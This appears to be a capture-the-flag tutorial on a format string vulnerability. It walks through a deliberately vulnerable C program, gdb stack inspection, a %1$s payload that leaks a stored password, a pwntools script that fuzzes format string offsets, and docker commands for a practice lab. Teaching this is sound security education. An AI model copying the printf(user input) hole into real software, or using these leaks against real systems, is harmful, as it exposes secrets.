Challenge example
Code Example
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void) {
char passwd[16] = ""; // array to store the username
char password[16] = ""; // array to store the password
FILE *fp = fopen(".passwd", "r");
fread(passwd, 1, 15, fp);
fclose(fp);
passwd[15] = '\0';
printf("Enter the password: ");
scanf("%15s", password); // read the password from the user
if (strcmp(password, passwd) == 0) {
printf("good job\n");
} else {
printf("permission denied using password : \n");
printf(password);
printf("\n");
}
return 0;
}
Here the objectif is to retrieve the value stored into passwd
in order to pass the if condition at the next run.
Exploitation
This program is vulnerable to Format String exploit. In this case, the password
variable will be printed directly using a printf()
function without specify any format specifier, so if there is a format specifier into the value supplied by the user, the process will interprets it.
In order to retrieve the offset between the format specifier and the pointer of the passwd
variable we can debug the process using gdb-peda and inspect the stack :
$ ./chall
Enter the password: %p
0xffffd0ac
[-------------------------------------code-------------------------------------]
0x565563d7 <main+266>: sub esp,0xc
0x565563da <main+269>: lea eax,[ebp-0x1c]
0x565563dd <main+272>: push eax
=> 0x565563de <main+273>: call 0x56556100 <printf@plt>
0x565563e3 <main+278>: add esp,0x10
0x565563e6 <main+281>: sub esp,0xc
0x565563e9 <main+284>: push 0xa
0x565563eb <main+286>: call 0x56556170 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd0ac --> 0x7025 ('%p')
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0xffffd0ac --> 0x7025 ('%p')
0004| 0xffffd084 --> 0xffffd09c ("SuperPassword!!")
0008| 0xffffd088 --> 0xf
0012| 0xffffd08c --> 0x5655a1a0 --> 0x0
0016| 0xffffd090 --> 0xf7faf000 --> 0x1e7d6c
0020| 0xffffd094 --> 0xf7fe22d0 (endbr32)
0024| 0xffffd098 --> 0x5655a1a0 --> 0x0
0028| 0xffffd09c ("SuperPassword!!")
[------------------------------------------------------------------------------disa
The first value onto the stack is the user input interpreted by the printf()
function and the second value is a pointer to a variable containing the string "SuperPassword!!" (value readed from the .passwd
file)
Then, if the user input is %1$s
, the value stored into the passwd
variable should be printed.
$ ./chall
Enter the password: %1$s
permission denied using password :
SuperPassword!!
$ ./chall
Enter the password: SuperPassword!!
good job
Fuzzing
If it's not possible to debug the process to calculate the exact offset between the user input and the targeted secret variable, it's possible to fuzz.
It's consist to send a payload to read successively at each possible offset
from pwn import *
import os
os.chdir("/pwn/")
# Set the logging level to ERROR
context.log_level = "ERROR"
for i in range(100):
try:
p = process("./chall")
payload = f"%{i}$s"
p.sendline(payload.encode())
output = p.recvall().decode().split('\n')
if len(output[1]) > 0 :
print(f"PAYLOAD = {payload}\nOUTPUT = {output[1]}\n")
except:
pass
Then if there is pointers to strings values, this will print any of them :
$ python3 fuzz.py
PAYLOAD = %0$s
OUTPUT = %0$s
PAYLOAD = %1$s
OUTPUT = SuperPassword!!
PAYLOAD = %4$s
OUTPUT = l}\x1e
PAYLOAD = %13$s
OUTPUT = (null)
The passwd content is retrieve
Exercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:data_leak
Deploy the image using the followed command :
docker run --name format_string_data_leak -it --rm -d -p 3000:3000 thectfrecipes/pwn:data_leak
Access to the web shell with your browser at the address : http://localhost:3000/
login: challenge
password: password
Last updated